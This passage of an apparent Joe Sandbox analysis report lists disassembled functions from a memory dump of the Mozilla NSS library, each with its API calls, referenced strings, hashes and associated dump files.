String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
invalid, xrefs: 6C645EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64
%s at line %d of [%.10s], xrefs: 6C645EE0
misuse, xrefs: 6C645EDB
API call with %s database connection pointer, xrefs: 6C645EC3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
